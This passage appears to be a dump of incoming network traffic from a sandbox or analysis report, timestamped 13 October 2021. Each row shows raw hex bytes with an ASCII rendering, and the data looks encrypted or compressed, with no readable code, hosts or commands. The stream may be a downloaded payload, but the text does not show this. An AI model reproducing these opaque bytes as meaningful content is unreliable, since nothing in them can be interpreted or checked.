2021-10-13 10:51:51 UTC	115	IN	Data Raw: 7c 4f bf 60 b1 53 9f fc 8f 96 1b 56 ee b2 58 f7 6a 64 29 c2 c1 9d fd 76 8d 1a 4c 27 de e2 5a 6f bd 12 53 b5 2f 77 13 6a 87 4c 5a 96 3c fb 66 0f 2d a0 28 62 be 39 e5 40 52 c9 df f9 be 9f 30 5a e3 d5 4f 2e 96 0c 89 c0 bf e2 51 91 e5 f2 e5 b4 41 5c 61 82 76 35 9c cc 5d cb f7 4d 78 bb 93 bc 49 17 95 f8 77 9f d0 b5 57 ce 3f 36 96 5e 84 97 24 21 cb b2 20 98 90 6c 0f a3 31 01 4e 5b 18 fe 24 8a 60 f1 e9 ab b3 35 70 1c 02 dd f7 8b 47 1d aa a5 6b 2f 87 86 b8 67 88 54 6c 83 31 0d 1d 84 f0 be 3a 27 4d 4d f7 2e a4 d5 d6 dd b8 0a e2 11 af 32 6c 15 3d 70 8b 35 b1 56 77 84 13 dd b7 cc 39 4a 47 b2 90 ea 72 86 78 c7 52 36 c8 e8 27 12 5d 11 6b c6 4c 76 a3 03 70 fa 48 3b 39 6c 05 bc 3b 81 18 7c 7f 66 43 86 4f 59 ea ce bd a2 ba d0 dc 71 2e 7b fc e9 79 2b 31 a3 f8 dd 9c e2 e9 Data Ascii: \|O`SVXjd)vL'ZoS/wjLZ<f-(b9@R0ZO.QA\av5]MxIwW?6^$! l1N[$`5pGk/gTl1:'MM.2l=p5Vw9JGrxR6']kLvpH;9l;\|fCOYq.{y+1
2021-10-13 10:51:51 UTC	116	IN	Data Raw: b8 54 97 24 a1 5c e7 ba c5 1d da 21 94 cd 06 18 56 a9 17 5e dc 76 1f 42 e8 2c 8c b2 a0 b5 c9 9c 93 cd cd d9 eb fb f4 58 70 12 2a 38 7b 99 08 10 86 ca 04 6c 64 fa 16 0d 16 14 0e 87 21 28 7c 5d 01 69 21 73 52 09 bc 9c 69 3e f8 c0 55 79 1c 52 5f de 7f 32 63 2d 15 ce 7e a1 d5 35 f9 71 b9 ab 24 8d a5 7b af a6 c5 40 ba d6 e2 d5 a2 3e 41 14 27 41 b1 4c ee 59 5b 02 6b 15 50 7d 43 33 1d 91 9a 0f 84 5c c8 a0 14 1f 75 74 c9 49 69 5a 9e 55 be a2 9e fb ae 1a 72 b2 94 61 1d 46 0c 1c e6 8a 21 cd db 96 c3 02 80 0e 2c 22 3c a7 6d a3 7f 3e da e3 82 48 ca cf 4f d2 4c bf cd 91 4a 75 a8 5f 1b e4 79 27 40 8d 56 e8 b5 68 c8 8b 76 ac c9 46 be 16 fc 08 50 65 4d d0 42 71 82 73 fe 70 81 0b aa df 89 6e 4c ef 7e d0 0b cb bf a7 f3 50 95 69 49 2a 3f 2d 17 89 26 a7 69 72 2e 8a c0 2e d2 Data Ascii: T$\!V^vB,Xp8{ld!(\|]i!sRi>UyR_2c-~5q${@>A'ALY[kP}C3\utIiZUraF!,"<m>HOLJu_y'@VhvFPeMBqspnL~PiI?-&ir..
2021-10-13 10:51:51 UTC	118	IN	Data Raw: cd 0c 8f 92 68 12 53 26 d7 c3 63 28 fc 25 da 25 f0 e9 07 99 35 61 0a 1a c6 e9 8b 3c 0b 54 a4 b0 2d 9f 9c ae 73 9b 92 0b ae 33 1a 16 95 f2 ba 3a 27 4d 48 df 2a a0 39 c9 b5 f6 0b f3 10 df 2f 90 14 0e cd bd 2a a9 d9 27 c1 12 dc 33 82 43 0c 42 98 8a f1 54 85 50 59 53 36 c2 11 25 6e 0b 06 78 c7 71 1d a9 12 75 c8 cb 7c 14 69 15 9f 27 44 10 44 4f 62 5b 78 4d 7c 3e df d6 6d b8 c7 b9 6f 71 6d d4 b1 25 39 34 a7 f8 dc 89 67 ab 5d e5 62 78 ce ea e8 82 68 0c b4 f6 cc f4 fb e6 5c 78 d6 a8 25 d8 c2 83 3d c5 40 05 38 aa 77 d1 23 60 ea f9 97 c8 6b b5 c5 cb dc aa f6 ab 42 55 ec 51 c4 87 ce e2 bc c4 40 4b 50 28 17 38 3c 99 d4 59 0b 48 25 b0 bf 7e 66 d2 92 31 0f 7f 1c 91 ed a1 c2 11 17 52 28 c5 b2 03 b1 dd fa 20 6c 19 28 66 9d f6 ff a9 3b d8 89 81 75 4a e7 f0 88 17 ee e6 f7 Data Ascii: hS&c(%%5a<T-s3:'MH9/'3CBTPYS6%nxqu\|i'DDOb[xM\|>moqm%94g]bxh\x%=@8w#`kBUQ@KP(8<YH%~f1R( l(f;uJ
2021-10-13 10:51:51 UTC	119	IN	Data Raw: 51 16 37 7c 0d 73 1d 38 30 40 1b 04 87 93 1a a8 66 db ad 1e 7d f5 6a c6 b1 7b 7f 85 5f af e7 64 04 57 6a e5 a0 99 67 21 4c 07 03 c5 b1 05 c0 ca b6 90 93 b9 55 c2 d4 d5 90 58 b5 72 38 a4 64 9d b6 cd 8c db ea dc b4 c1 b9 1e 7d bb 58 0a fc 62 16 9a 89 7a f0 d8 99 80 8a 70 c7 42 4f ca 9f f7 19 55 7b 20 5c 0a 70 84 7a 61 c0 bd 1a 44 db 83 72 48 6f 79 c1 06 d5 a5 47 e3 62 b2 43 17 67 3e 2b b1 90 4c a1 7d 66 1d 34 c8 3a f0 ed 5b 71 ae f9 18 12 d0 bb 28 dd 50 0e 56 35 6d ee e8 f0 ea 43 e0 8b ac e2 ef aa 7a 7d 3b 75 bd a5 72 30 b5 dd 77 ed 61 a3 5f 31 74 63 39 ba 02 da 9d d6 70 07 e6 85 aa b2 75 5e c2 62 52 77 e3 60 23 cb 12 de 72 33 3d 50 dc ce f2 8d 14 39 3d 53 f1 3e 08 10 2e 26 f2 97 36 4b b2 44 a9 b2 6c e1 3c 92 00 a6 68 90 f1 7e bf 60 b0 f1 9d ed 98 82 7a 7e Data Ascii: Q7\|s80@f}j{_dWjg!LUXr8d}XbzpBOU{ \pzaDrHoyGbCg>+L}f4:[q(PV5mCz};ur0wa_1tc9pu^bRw`#r3=P9=S>.&6KDl<h~`z~
2021-10-13 10:51:51 UTC	120	IN	Data Raw: 52 a2 5a 47 ac cc 9d b7 af 5b a2 53 34 6d 66 85 18 3d 19 0b e9 d9 94 bf bb 55 f0 ea 47 c0 fb db 91 e4 da a4 da cf e9 fb f2 4d 4d c4 22 f7 fb ff a3 01 5d 43 af 3a c5 b0 01 31 6a 86 c1 bf dc 6b b5 cf e3 e4 eb ad 82 36 47 ec 51 df 07 72 dc e5 e8 a8 07 51 22 a4 25 37 e2 fd 59 0b 6c 06 91 b8 f0 db d6 5a 36 01 5a 0f b3 ef a2 07 2b 0d 3d db c7 9a 2e b8 da f5 00 68 1a 2a 6c b5 ef 1a ab 31 eb 68 65 77 4a fb e1 aa 00 38 ea ed ec af d4 70 07 fa cb e3 c6 b5 18 bf a6 df b9 f7 0a 87 af 3c 6e 4b d5 3d a2 b7 9e 19 1e 0b 96 af 47 e2 20 6a e2 82 b0 e2 da fb 9c 78 ae ad 17 86 36 c3 79 eb e2 c5 85 bd 53 fc 27 1c e5 eb 1b 08 9e 9b 40 93 6f db a2 29 c4 ea d6 cf b0 92 bb b1 ff 1b 92 e4 29 4c 0d 21 74 23 45 21 4e 94 00 4c 68 b3 d2 e4 6d 52 ce 03 50 88 36 9a 78 e2 ab ce 14 f8 34 Data Ascii: RZG[S4mf=UGMM"]C:1jk6GQrQ"%7YlZ6Z+=.h*l1hewJ8p<nK=G jx6yS'@o))L!t#E!NLhmRP6x4
2021-10-13 10:51:51 UTC	121	IN	Data Raw: 74 ae 8a d5 b6 53 ff 63 b2 78 25 62 2f 3a 0c 8b ac b4 45 68 24 99 e0 11 ff fc 5a 4d a2 16 1c 18 fe 9d a5 da 5a 37 3f 24 72 ff e8 ed d1 72 e5 9a bd 5f e9 4b 6f 45 3f 4c 11 8d e0 3b 9d 97 4f 57 6a 8b e7 2e 6c 7a 17 77 12 cd 81 21 65 03 24 84 b9 a1 7f c0 d2 62 43 61 ef 59 cc ea 28 dc ef 0a 2c 54 f5 05 e2 ad 0a 42 de 7a 59 38 1b 08 25 14 25 83 36 5c b2 d6 8d 4c 6d cc 33 a2 01 96 72 ae 50 44 bf 66 99 7d 8e cc 8a be 81 54 ee b8 37 d3 68 64 2d f5 f2 8e ea 7c 9e 1a 2e 41 21 e3 72 61 ba 7f 1d db 07 71 11 7a e5 28 48 81 38 e8 72 6d 7a 5f 29 4a 9f 53 a0 2e ae cc db 90 76 f2 e5 52 e1 da 5d 9b 96 0c 8b da de 33 2e db ee 9d 1f b7 43 21 3a 8d 69 11 e0 e6 5c da ea 3e 50 45 92 90 59 06 90 f0 21 c6 f8 25 6d 76 34 81 eb 02 89 84 37 23 d8 de 7c b3 6e 69 34 76 37 c3 d2 65 96 Data Ascii: tScx%b/:Eh$ZMZ7?$rr_KoE?L;OWj.lzw!e$bCaY(,TBzY8%%6\Lm3rPDf}T7hd-\|.A!raqz(H8rmz_)JS.vR]3.C!:i\>PEY!%mv47#\|ni4v7e
2021-10-13 10:51:51 UTC	123	IN	Data Raw: bb c9 e2 39 5d 64 66 67 9d da 0b b8 13 ce a3 67 71 59 e1 7d 86 09 10 82 ff f7 a7 93 a0 03 fa cb d8 ef a4 15 da 29 2d b8 f1 1a fb 6e 2f 7a 2e 4b c0 a3 b1 f7 e7 73 de 9e bc 68 b5 d2 6a e2 84 b5 a8 27 13 9e 72 cb df 3c 86 30 cb 65 e6 fe b6 6d 94 7b fe 31 75 26 64 1c 02 f1 66 55 87 7d eb 65 fc c6 e0 f4 88 4b 93 bd a1 c4 fe 81 ea 5d 11 10 35 58 1a 4e 09 54 80 8d 4d 7b b8 a0 d2 7b 46 e0 b8 40 99 2c ba 3e cf a9 c8 04 c1 cf 84 ed 3f 23 51 d2 52 77 f2 70 08 9e d3 c9 9d b7 b5 d1 fe 93 93 da d1 d6 e8 0e dd 59 57 03 2a 06 cf b3 19 16 ae 2f d6 7e 6e 95 2b 27 02 12 1f 9d 0a 7f 57 5f 0b 1b 35 62 42 7d ad 82 7a 27 2b cf 61 5c 34 5c a1 d5 40 2b 5a 10 04 c4 4a b3 d5 24 f3 79 60 ab 23 9c be 67 a7 82 4e bf 69 2f e7 ea aa f3 41 0c 36 45 ad 47 9e ef 48 e7 8e e8 d4 31 68 33 58 Data Ascii: 9]dfggqY})-n/z.Kshj'r<0em{1u&dfU}eK]5XNTM{{F@,>?#QRwpYW*/~n+'W_5bB}z'+a\4\@+ZJ$y`#gNi/A6EGH1h3X
2021-10-13 10:51:51 UTC	124	IN	Data Raw: 47 75 db ae b2 77 c8 3b b3 11 8d 56 be 7c 41 b5 14 a3 53 8c d7 72 9d 6e 56 9a a0 58 f7 71 6f 2c e0 08 8d d8 54 b8 0d 31 69 d2 f6 54 45 93 6f 15 be f1 73 17 56 fa 4a 47 96 38 f9 65 72 65 a1 28 66 bc 5b ac 41 52 d4 da 96 60 8d 30 50 e1 ca 32 67 96 56 8f 3c a4 aa 2c db e6 f0 e2 cb 38 26 29 87 74 35 8e 8d 5d cb f9 0b 5b a8 a3 b8 49 fd 95 d8 37 cc f9 23 46 cc cb 94 a6 1d 85 95 22 5d fc c9 63 9d ed 16 19 79 22 d5 13 3d 18 fe 27 df 31 f0 e9 a5 b1 31 71 1c 1b 90 8f 8a 3b 18 a9 b1 62 2e 91 69 af 7e 8b 40 27 80 32 83 aa e8 75 a3 c4 22 63 48 8f a8 8a da cf e6 e6 08 f3 1e cd 47 93 14 00 e4 9d 37 ca 2b 0d c1 16 df c8 4e 43 0c 42 9a 64 e0 64 8a 54 ea ad 37 d4 14 24 65 1d 3c 46 c0 5e d0 1e 7e f2 d0 35 79 3a 6e 7a 37 3c 57 11 6c 05 65 43 8c 31 d1 31 dd bd a4 ae c5 c8 f6 Data Ascii: Guw;V\|ASrnVXqo,T1iTEosVJG8ere(f[AR`0P2gV<,8&)t5][I7#F"]cy"='11q;b.i~@'2u"cHG7+NCBddT7$e<F^~5y:nz7<WleC11
2021-10-13 10:51:51 UTC	125	IN	Data Raw: 48 07 5f 94 95 63 45 b1 d3 f6 53 10 98 32 51 88 38 aa cb c2 86 c2 24 c8 c7 8a f2 3f 23 56 d2 52 75 86 0c 91 99 fb 22 86 2d 9a 93 d1 b7 8a c3 d5 d9 ea 2d d8 76 52 05 06 78 9f 28 18 10 82 da 4e 5b 49 f0 2b 3f 1d 3c 14 a5 24 12 7d 5b 21 4b 4d ea 53 12 b2 98 e0 08 d8 ca 62 6f 1c 70 bb f7 7e 3d 72 2e 2e 9e 3e f4 d4 35 fd 72 2c 9d 04 86 92 6a af 8c 24 4d be fd f4 ff bb 0f 08 67 be 51 bc 55 0d c2 52 21 78 31 36 28 7e 2c 16 aa be 1e 80 44 f1 f7 6a 97 79 6b c2 a9 f2 53 b9 5d a1 db 7e 4f 4e 08 4a 8c 9b 61 0a 61 71 77 81 8a 0d c4 d5 97 41 b7 94 53 f5 c2 ca a7 23 af 7e 16 e6 ec 9c b0 e1 81 38 73 dd be c9 8e 5f e6 9e 7f 17 d3 6b 34 a1 e8 65 fd 9f 3e 83 8a 70 82 81 31 53 94 fc 0c 4e 78 d5 8e 26 7b a4 68 7b d8 c6 2b 83 f2 81 74 59 c8 1c bf 9f d5 b6 5d ed 70 3e 4e 1f 6e Data Ascii: H_cES2Q8$?#VRu"--vRx(N[I+?<$}[!KMSbop~=r..>5r,j$MgQUR!x16(~,DjykS]~ONJaaqwAS#~8s_k4e>p1SNx&{h{+tY]p>Nn
2021-10-13 10:51:51 UTC	127	IN	Data Raw: d5 21 57 c8 1f eb 95 84 84 97 24 3c fa 53 46 b4 9e 4e 07 4a 06 b9 c1 70 18 e7 0d da 27 f0 ef 85 f3 4b e9 1d 11 e9 ed bf a1 39 87 ab ba 30 b3 b7 df 76 8d 6c 11 aa 1c 0f 1d 93 df cc ba bf 60 4a f0 37 be 40 ee e3 b2 2c ec 21 90 4e 90 14 04 f8 81 1d 9c 56 0c c7 38 b3 cd 57 43 0c 42 ad a2 78 41 ad 5f d8 4c 00 e2 6a 27 6e 1a 0f 61 ea 77 5c a9 05 5a bb 4b e4 39 6c 05 aa 0a cd 30 69 50 41 5c b1 6c da 32 dd b9 be 90 ea b1 77 2a 51 90 ea a5 2b 31 a3 f6 e1 04 bc 87 7f c0 65 53 eb 78 fb 87 7e ea 9d f7 cd e3 ee c9 36 17 4a b3 db dd f1 b8 8c e2 46 b0 1c da 83 f1 b7 68 86 da 8e e0 46 b7 c5 cd f6 80 d3 11 43 55 e8 4e fe 1d 1b f0 eb ca c9 71 70 b5 a2 2f ea 0f d7 74 09 49 28 8c d2 8e 48 c4 48 26 14 49 ad 96 c2 a6 fc d6 34 1d 47 c7 b2 09 a1 f2 de 2a 4c 1c 00 0c e3 47 1b ab Data Ascii: !W$<SFNJp'K90vl`J7@,!NV8WCBxA_Lj'naw\ZK9l0iPA\l2wQ+1eSx~6JFhFCUNqp/tI(HH&I4GLG
2021-10-13 10:51:51 UTC	128	IN	Data Raw: 59 db b3 fd f9 d9 a2 47 72 59 23 50 bc 4e 05 70 5a 0e 73 11 01 59 3c aa 18 82 97 03 e3 d8 fe 80 1b 28 67 08 e6 e2 6c 76 94 49 8a ed 4c 06 51 03 48 cf e7 f8 0d 4b 17 16 7c 11 28 ed c5 b8 c4 f6 99 3d d7 dd c3 a7 74 98 5f 3c cb e8 b6 d8 b5 7a 47 ea d8 a1 a8 0b 70 51 b4 74 04 90 54 4f ba 8c 7a e9 be 3b ac 88 76 ae f5 21 b4 0c fd 08 55 6c 29 31 2e 5d 8d 51 6f a1 89 48 af df 83 6b 7f ca 53 c3 06 d2 9c 33 8c e5 a5 6b 36 7d 59 b7 36 ac 5c 93 76 15 15 06 cc 3a fa e0 74 48 84 16 1a 38 b8 d2 3c db 50 0a 48 4e e8 da da e9 e4 7a 8d ab 0a 44 fe b5 71 79 07 70 17 a5 74 10 f7 e3 ec ec 6b 8f f8 58 ee 4c 2d 79 25 c5 f4 ff d4 2b 22 86 b1 9c 4f d1 c5 64 78 18 8e d9 33 eb 00 d7 94 96 18 7d d2 4a fc c7 20 98 2d 7b 59 21 07 32 17 0c 36 92 1c 27 db 50 af b2 68 ff 44 29 34 aa 70 Data Ascii: YGrY#PNpZsY<(glvILQHK\|(=t_<zGpQtTOz;v!Ul)1.]QoHkS3k6}Y6\v:tH8<PHNzDqyptkXL-y%+"Odx3}J -{Y!26'PhD)4p
2021-10-13 10:51:51 UTC	129	IN	Data Raw: d1 35 7d a2 49 2c a7 1b 77 9b 44 5e 67 63 8e 4b 50 30 c2 ab 88 95 c5 b3 71 06 fd 84 0d 3d 2a 35 87 66 d9 9e 99 30 54 cb 68 4d eb 65 f9 87 7e d2 af dd cf e3 f7 d2 74 44 d1 b2 dd f3 6c ff 8f c6 6b ba 1a 55 ba d1 23 f0 a3 f7 86 ee 4b 25 c5 cb dc ca e6 8f 42 55 f6 79 e9 85 3e db cf 6a a8 d2 51 22 a4 0f 7b 14 ff 59 91 6c 03 b4 9e d0 40 c5 48 22 2b 3d 30 b3 ef b7 f6 e1 22 3f db c3 98 8b c3 43 f2 28 48 3a b8 66 9d de 80 8e 16 c3 87 47 e5 4a ed 6c a1 7b 3f eb fe ed 85 d1 55 02 fc e7 49 9c 2c 19 b5 d1 0c 2b f7 0c 94 21 08 57 35 02 1c 31 b1 f1 f0 3c 74 9b bc 62 c0 06 46 e0 82 a4 ed 70 6f 07 79 a4 25 1d 12 36 d8 6a 6d d6 f4 80 b3 5b 6c 27 1a f3 46 9f 0f 9e 9a 4c af 56 f1 0a 2f ee 62 80 7e b4 92 b9 87 42 f0 90 e4 b9 78 3c 24 7a 2b d4 21 48 82 ad ce 6f b3 d3 ed 51 6b Data Ascii: 5}I,wD^gcKP0q=*5f0ThMe~tDlkU#K%BUy>jQ"{Yl@H"+=0"?C(H:fGJl{?UI,+!W51<tbFpoy%6jm[l'FLV/b~Bx<$z+!HoQk
2021-10-13 10:51:51 UTC	130	IN	Data Raw: 26 d7 c3 ea 3d d3 34 d1 05 54 e9 af 99 15 9d 1b 11 ed e5 a3 16 1e aa a3 b6 a9 f9 0e af 74 89 4c af 82 31 0d 87 b0 d8 b0 e2 06 c4 4a f4 28 ab 34 cc ce bd 15 ea 3c 9d 3a 92 12 2e 65 f5 ac b0 54 08 e1 b4 dd b3 ce d8 29 6b a3 b2 c2 c2 80 50 fe 73 31 ca ea 25 73 32 3d 69 c2 5c 74 2f 7d e9 d0 35 79 18 cb 01 b5 3d cd 30 69 4c 41 63 21 4c 50 30 fd b7 a8 b8 c7 ac 64 04 56 f8 94 3a 00 b7 d9 70 d8 9e 9d 8a d9 e6 7a 6b 51 cf d4 95 58 d2 1d da cf e3 c8 c2 54 69 d3 ad d2 f1 c3 83 16 c1 41 38 44 5c bb d1 27 4a 2f da 97 c8 f1 90 e8 d9 fa ca 04 88 42 55 cc 7b cc 87 3e c2 f5 c4 fb 49 50 24 8a ad 94 8d fe 59 0f 69 84 a6 b8 f0 4b e0 65 33 2d 52 9d b3 ef a8 fa f3 07 3d db de 9a 24 bf da f5 02 ce 64 b3 67 9d da 3a 00 3b d2 a1 fd 52 67 fc 4a a1 ab 38 eb fe d7 92 f4 57 02 e0 e5 Data Ascii: &=4TtL1J(4<:.eT)kPs1%s2=i\t/}5y=0iLAc!LP0dV:pzkQXTiA8D\'J/BU{>IP$YiKe3-R=$dg:;RgJ8W
2021-10-13 10:51:51 UTC	131	IN	Data Raw: 0b fc 42 33 19 18 b6 31 92 64 fb 66 14 0e 78 4b d5 bd 68 76 8b 75 af e8 63 04 57 2f e4 df 00 60 0c 4f 33 c5 18 8b 0d 5a ef b3 c9 b4 99 93 d3 dd c3 98 4d ba 72 3e d4 cd b4 9b c9 e3 40 c0 5a c0 54 90 55 78 9b 9f 1b f5 74 a4 9b a1 68 d0 97 de 81 8a 76 88 86 45 ca 95 e3 2b 79 5e 4d ab 0d 5a 04 09 e9 c6 a9 36 8b 11 83 74 5f 78 5b ec 14 f2 96 97 f2 7c a4 4b 4e 68 3e 2d 0c a2 7a 98 6b 72 33 b6 4e 44 63 fd 5c 61 a6 d9 1c 12 d6 36 80 f7 42 28 77 e9 72 ff f7 c6 5d 6f e5 8b b5 62 d6 98 6c 69 29 77 93 db eb 3b 9d 99 55 3d 6b 8b e7 ab 51 44 12 51 23 0a 9d df 64 0f e3 8c aa b4 7d f1 ed 4f 50 76 f6 6a b4 95 9d c9 fe 08 1d 81 dd 6c e3 37 25 00 3b 5d 79 ef 08 1a 3a 2e d5 9e 36 4d ba ea 86 9f 6e e0 29 99 97 f9 e7 87 7d 45 9f b2 b1 53 8c 56 a9 bb 7c 70 ce 60 58 f7 6a 44 2d Data Ascii: B31dfxKhvucW/`O3ZMr>@ZTUxthvE+y^MZ6t_x[\|KNh>-zkr3NDc\a6B(wr]obli)w;U=kQDQ#d}OPvjl7%;]y:.6Mn)}ESV\|p`XjD-
2021-10-13 10:51:51 UTC	132	IN	Data Raw: 88 95 c5 b3 71 06 fd 84 0d 3d 2a 35 87 1b d9 9e 99 30 54 cb 68 4d eb 18 f9 87 7e d2 65 d7 cf e3 f7 ee 74 44 d1 b2 dd f3 6c ff 8f c6 6b ba 1a 36 ba d1 23 f0 a3 f7 86 ee 4b 46 c5 cb dc ca 70 85 42 55 f1 79 e9 85 3e db cf 6e a8 d2 51 22 a4 0f 1e 14 ff 59 91 6c 03 b7 9e d0 25 c5 48 22 2b 96 3a b3 ef bf f2 e4 0d 3d dd ef 30 77 24 db f3 2c 6c ef 2a 66 9d 44 3f 86 2a f4 81 92 77 4a ed 4c 64 0d 38 eb e3 df 80 fe 57 04 d0 4f b5 7b b4 18 b1 f5 da b8 f7 0c 0e 9e 00 6b 02 04 ca a2 b1 f1 d0 f0 06 9c bc 78 f2 03 69 e2 84 88 45 8c 88 9f 78 a0 01 ca 86 36 d8 f0 d2 de c8 b7 b5 8c f8 27 1a d3 96 11 08 9e 80 7c aa 79 f3 0c 03 46 9e 67 e6 b5 96 9d 5f d7 f0 90 7e 06 70 00 13 7c f3 41 21 48 a2 79 46 68 b3 c9 d8 54 44 e6 ad 7a 0a 42 2b 50 e7 af e8 fb d0 df 95 7b 32 23 45 f4 74 Data Ascii: q=50ThM~etDlk6#KFpBUy>nQ"Yl%H"+:=0w$,lfD?*wJLd8WO{kxiEx6'\|yFg_~p\|A!HyFhTDzB+P{2#Et
2021-10-13 10:51:51 UTC	134	IN	Data Raw: 61 8c 46 30 62 38 07 95 ff cb b4 69 76 15 85 c9 3a fa 66 79 48 94 30 3c 0b d7 ac a5 fa 82 01 57 26 6d ee df cb c0 65 e3 a1 28 3e 67 b4 6e 6d 0f 47 14 a5 72 a0 b8 b0 64 cb 4b 91 e6 31 74 49 e3 78 03 da 81 f7 49 2d 22 80 80 32 1c 4a c4 62 56 56 eb 41 32 eb 9e ed d3 1e 1b 70 c6 6d e3 ad 20 c4 26 7b 59 21 18 32 17 0c 36 92 1c cf db 50 af b2 68 c0 33 b2 11 87 e4 a3 50 50 99 40 ad 52 8c cc ac 6f 61 56 ee ac 70 da 68 64 2d c0 50 e3 64 7d 8f 09 11 7e de e2 5e f7 8e 42 07 92 0f 6e 10 7c fa 2b 5a 86 38 f9 7a 53 4d 8c 2a 66 ba 68 2b 3f cb cc db 92 40 83 31 50 e1 4a 17 4a 85 2a ad dc b0 e6 2c fb c6 e2 e1 b6 5c 2e 01 ae 74 31 f5 db da b5 64 20 5b bf b3 a3 48 17 95 42 12 e9 ea 05 77 d1 34 81 eb 3d ae 87 20 23 d6 da 4b b4 92 68 1e 53 a4 a9 5a 71 18 fa 05 d7 24 f0 e9 35 Data Ascii: aF0b8iv:fyH0<W&me(>gnmGrdK1tIxI-"2JbVVA2pm &{Y!26Ph3PP@RoaVphd-Pd}~^Bn\|+Z8zSMfh+?@1PJJ,\.t1d [HBw4= #KhSZq$5
2021-10-13 10:51:51 UTC	135	IN	Data Raw: 40 bd e1 1b ab 3b f2 64 76 77 4a f1 44 ac 02 38 ed d4 75 d3 65 56 02 fe ed 8b e3 b5 18 2f f0 01 a9 d1 2c d4 ba 2d 7a 04 ef 2d a2 b1 ea d8 31 09 9c ba 48 58 50 f2 e3 82 a6 e7 b3 10 9e 78 3e 04 10 97 10 f8 2b f6 f3 d9 b1 45 6a f8 27 01 db 4b 1e 08 98 b0 d2 f9 e2 f2 0a 2d e4 a2 ff e7 b5 08 98 8a c5 d6 b0 a6 22 5d 11 15 89 1a 41 21 57 a6 a5 66 6a b3 d5 da ff 38 7f aa 50 8c 1c f1 50 e7 ab 52 27 fd cd b3 c1 54 0f 54 d2 74 a6 cd 72 08 87 e8 0e b2 b5 bf b8 f0 17 ed 45 c1 c6 fd 25 b1 75 52 03 b6 0b cc a3 3f 30 c2 c1 d4 7e 44 f6 1f 25 02 0b 2a a5 24 12 7d 5b 21 9b 4d ea 53 12 b2 a3 3f 2c f5 c0 de 51 2e 4e 87 ff 16 3e 72 28 24 f4 52 6d d5 2a e6 46 9b ba 29 8b 9e f0 ce 25 3a 41 92 f0 b0 fe bd 25 c8 3c 0a 42 9a 71 56 59 77 0c 53 58 39 37 42 2c 3d aa be 1e 80 44 f1 2b Data Ascii: @;dvwJD8ueV/,-z-1HXPx>+Ej'K-"]A!Wfj8PPR'TTtrE%uR?0~D%$}[!MS?,Q.N>r($RmF)%:A%<BqVYwSX97B,=D+
2021-10-13 10:51:51 UTC	136	IN	Data Raw: b6 b2 11 83 5e e0 7c 41 bf fa 94 7e 9e ea ac f0 6f 56 ee 92 7d e2 6a 64 34 f3 fe b0 ff 7c 89 27 b7 1d 46 e3 5e 69 8b 08 14 b4 2f e9 34 51 e8 2d 7b f1 39 f9 65 52 5b b4 28 66 a3 53 85 6c 50 cd dd bc e2 e3 a9 51 e1 d4 12 0f 96 0c 8d 58 94 cb 3d fd c4 9a e0 b6 43 07 66 96 76 31 ee d9 71 c9 fd 27 71 39 ed 25 48 17 91 f8 5e c5 f8 23 cd eb 18 90 cd 3d ec 96 20 23 e9 9f 76 99 90 76 30 54 24 d7 c5 5a 9a 80 bc f6 25 f4 c9 c5 98 35 70 86 34 c0 e3 ad 1b 76 ab a5 9c 0f d9 82 ae 74 93 44 27 80 31 0b 37 17 8b 3b c5 26 65 6a 9f 29 8b da 51 eb 90 1b d5 34 db 39 92 14 24 81 9e 35 b1 4e 24 ec 10 dd b5 e4 c0 72 df b3 94 e6 44 ec 51 fe 53 ac e7 c7 34 48 3a 7c 6a c2 5a 7e c3 16 70 d1 2f 55 15 6e 01 b3 17 d5 6b dd 5f 67 47 a6 21 51 30 dd 23 85 95 d6 95 57 41 7a fa 94 1c 44 24 Data Ascii: ^\|A~oV}jd4\|'F^i/4Q-{9eR[(fSlPQX=Cfv1q'q9%H^#= #vv0T$Z%5p4vtD'17;&ej)Q49$5N$rDQS4H:\|jZ~p/Unk_gG!Q0#WAzD$
2021-10-13 10:51:51 UTC	137	IN	Data Raw: 9b fe f2 79 40 cc 2d 2e 11 3d b2 55 c7 26 c9 02 d0 45 b0 cc 05 28 74 5f 55 5f dc 52 63 8f fb 26 80 a7 97 93 d8 91 95 f6 46 b8 60 04 f5 70 72 8d 2d 2e e1 2b 3c 3d 94 e6 f4 f0 65 fa 0d 05 79 03 0e 8d 16 1f 55 70 09 1d 35 59 d4 6c 2f 82 7a 29 d5 4f 45 74 03 c6 84 f2 41 19 52 a7 05 c4 40 4d 5f 22 f9 6e a9 b1 01 a0 b6 76 b6 96 bd 3f 0f d1 f6 fb 9d b5 53 19 27 ca 99 7c 02 7e 57 9c 72 17 2b 17 d1 24 19 82 8c 0f a8 6f d9 ad 12 24 fe 15 5f b6 68 72 b4 c7 86 c5 61 9e 74 28 70 87 b9 f0 0d 4b 13 29 be 9c 0d c0 d5 97 f3 bf bb 5f d5 f7 45 c6 e2 b1 72 3a eb 7c 9d b6 cb 79 63 c7 ce 98 ed 03 54 7c bb 72 b4 e2 74 3e a1 82 52 db b5 13 87 a0 f0 d6 46 4e ca 91 dc 9b 50 73 4f 31 2e 5d 90 51 50 54 a8 32 ab ff 3e 63 5f e2 61 cd 2e f9 b4 59 f4 56 26 15 ab 63 3e 29 33 15 53 b5 69 Data Ascii: y@-.=U&E(t_U_Rc&F`pr-.+<=eyUp5Yl/z)OEtAR@M_"nv?S'\|~Wr+$o$_hrat(pK)_Er:\|ycT\|rt>RFNPsO1.]QPT2>c_a.YV&c>)3Si
2021-10-13 10:51:51 UTC	139	IN	Data Raw: 10 9c 97 20 3e e1 e4 61 99 96 42 9e 07 bf d6 c3 74 38 4a 24 f7 25 6a cc 82 8b 13 50 a8 10 ed f2 ab 2f 05 aa a5 83 33 af ba ac 74 8b 46 88 fc a8 0c 1d 91 d5 17 c5 26 61 d0 d1 05 9a fc eb 7b bc 0a f3 34 80 21 92 14 1a cf a6 37 b1 52 26 43 6c 44 b2 ce 46 2c f0 b3 94 e2 fe a5 7d ef 75 16 74 eb 25 6e 3a 28 72 c2 5a 42 81 2e 72 d1 33 57 ba 12 98 b4 3d 53 35 f3 5f 67 43 1c 69 7d 21 fb 99 17 b9 c7 b3 57 12 62 fa 94 21 02 1c a5 e9 df b4 1b d4 e8 e7 7a 6f eb 52 f8 87 7e 68 90 f7 de c5 c8 5b 5d 69 d3 92 9e c0 ee 81 01 ef 46 bc 3a c3 90 53 5d f3 87 da 93 e8 d2 b4 c5 cb 46 cf 80 99 64 75 55 50 c4 87 1e 9b fc ec d6 57 78 0f a2 2f ec 3e 7d 27 92 48 2e a2 98 4a d0 c5 48 b8 2e 5f 26 95 cf 12 db c9 0f 1d 97 dc b2 09 a0 f2 de 2a 4c 1c 00 e4 e3 47 1b ab 3f f2 1a 66 77 4a 77 Data Ascii: 